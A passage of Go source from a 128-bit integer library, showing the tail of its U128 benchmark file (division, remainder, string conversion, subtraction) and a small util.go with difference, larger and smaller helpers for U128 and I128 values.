1104 | } 1105 | db := db128.AsUint64() 1106 | 1107 | cases = append(cases, tc{ 1108 | zeros: zeros, 1109 | useRem: useRem, 1110 | da: da, 1111 | db: db, 1112 | }) 1113 | } 1114 | } 1115 | 1116 | for _, tc := range cases { 1117 | b.Run(fmt.Sprintf("z=%d/rem=%v", tc.zeros, tc.useRem == 1), func(b *testing.B) { 1118 | for i := 0; i < b.N; i++ { 1119 | if tc.useRem == 1 { 1120 | BenchU128Result, _ = tc.da.QuoRem64(tc.db) 1121 | } else { 1122 | BenchU128Result = tc.da.Quo64(tc.db) 1123 | } 1124 | } 1125 | }) 1126 | } 1127 | } 1128 | 1129 | func BenchmarkU128Rem64(b *testing.B) { 1130 | b.Run("fast", func(b *testing.B) { 1131 | u, v := U128{1, 0}, uint64(56) // u.hi < v 1132 | for i := 0; i < b.N; i++ { 1133 | BenchU128Result = u.Rem64(v) 1134 | } 1135 | }) 1136 | 1137 | b.Run("slow", func(b *testing.B) { 1138 | u, v := U128{100, 0}, uint64(56) // u.hi >= v 1139 | for i := 0; i < b.N; i++ { 1140 | BenchU128Result = u.Rem64(v) 1141 | } 1142 | }) 1143 | } 1144 | 1145 | func BenchmarkU128String(b *testing.B) { 1146 | for _, bi := range []U128{ 1147 | u128s("0"), 1148 | u128s("0xfedcba98"), 1149 | u128s("0xfedcba9876543210"), 1150 | u128s("0xfedcba9876543210fedcba98"), 1151 | u128s("0xfedcba9876543210fedcba9876543210"), 1152 | } { 1153 | b.Run(fmt.Sprintf("%x", bi.AsBigInt()), func(b *testing.B) { 1154 | for i := 0; i < b.N; i++ { 1155 | BenchStringResult = bi.String() 1156 | } 1157 | }) 1158 | } 1159 | } 1160 | 1161 | func BenchmarkU128Sub(b *testing.B) { 1162 | for idx, tc := range []struct { 1163 | name string 1164 | a, b U128 1165 | }{ 1166 | {"0+0", zeroU128, zeroU128}, 1167 | {"0-max", zeroU128, MaxU128}, 1168 | {"lo-only", u128s("0x7FFFFFFFFFFFFFFF"), u128s("0x7FFFFFFFFFFFFFFF")}, 1169 | {"carry", MaxU128, u64(maxUint64).Add64(1)}, 1170 | } { 1171 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 1172 | for i := 0; i < b.N; i++ { 1173 | BenchU128Result = tc.a.Sub(tc.b) 1174 | } 1175 | }) 1176 | } 1177 | } 1178 | 1179 | func BenchmarkU128Sub64(b *testing.B) { 1180 | for idx, tc := range []struct { 1181 | a U128 1182 | b uint64 1183 | name string 1184 | }{ 1185 | {zeroU128, 0, "0+0"}, 1186 | {MaxU128, maxUint64, "max+max"}, 1187 | {u128s("0xFFFFFFFFFFFFFFFF"), 1, "carry"}, 1188 | } { 1189 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 1190 | for i := 0; i < b.N; i++ { 1191 | BenchU128Result = tc.a.Sub64(tc.b) 1192 | } 1193 | }) 1194 | } 1195 | } 1196 | 1197 | func BenchmarkU128MustU128FromBigEndian(b *testing.B) { 1198 | var bts = make([]byte, 16) 1199 | rand.Read(bts) 1200 | for i := 0; i < b.N; i++ { 1201 | BenchU128Result = MustU128FromBigEndian(bts) 1202 | } 1203 | } 1204 | -------------------------------------------------------------------------------- /util.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | type RandSource interface { 4 | Uint64() uint64 5 | } 6 | 7 | // DifferenceU128 subtracts the smaller of a and b from the larger. 8 | func DifferenceU128(a, b U128) U128 { 9 | if a.hi > b.hi { 10 | return a.Sub(b) 11 | } else if a.hi < b.hi { 12 | return b.Sub(a) 13 | } else if a.lo > b.lo { 14 | return a.Sub(b) 15 | } else if a.lo < b.lo { 16 | return b.Sub(a) 17 | } 18 | return U128{} 19 | } 20 | 21 | func LargerU128(a, b U128) U128 { 22 | if a.hi > b.hi { 23 | return a 24 | } else if a.hi < b.hi { 25 | return b 26 | } else if a.lo > b.lo { 27 | return a 28 | } else if a.lo < b.lo { 29 | return b 30 | } 31 | return a 32 | } 33 | 34 | func SmallerU128(a, b U128) U128 { 35 | if a.hi < b.hi { 36 | return a 37 | } else if a.hi > b.hi { 38 | return b 39 | } else if a.lo < b.lo { 40 | return a 41 | } else if a.lo > b.lo { 42 | return b 43 | } 44 | return a 45 | } 46 | 47 | // DifferenceI128 subtracts the smaller of a and b from the larger. 48 | func DifferenceI128(a, b I128) I128 { 49 | if a.hi > b.hi { 50 | return a.Sub(b) 51 | } else if a.hi < b.hi { 52 | return b.Sub(a) 53 | } else if a.lo > b.lo { 54 | return a.Sub(b) 55 | } else if a.lo < b.lo { 56 | return b.Sub(a) 57 | } 58 | return I128{} 59 | } 60 | --------------------------------------------------------------------------------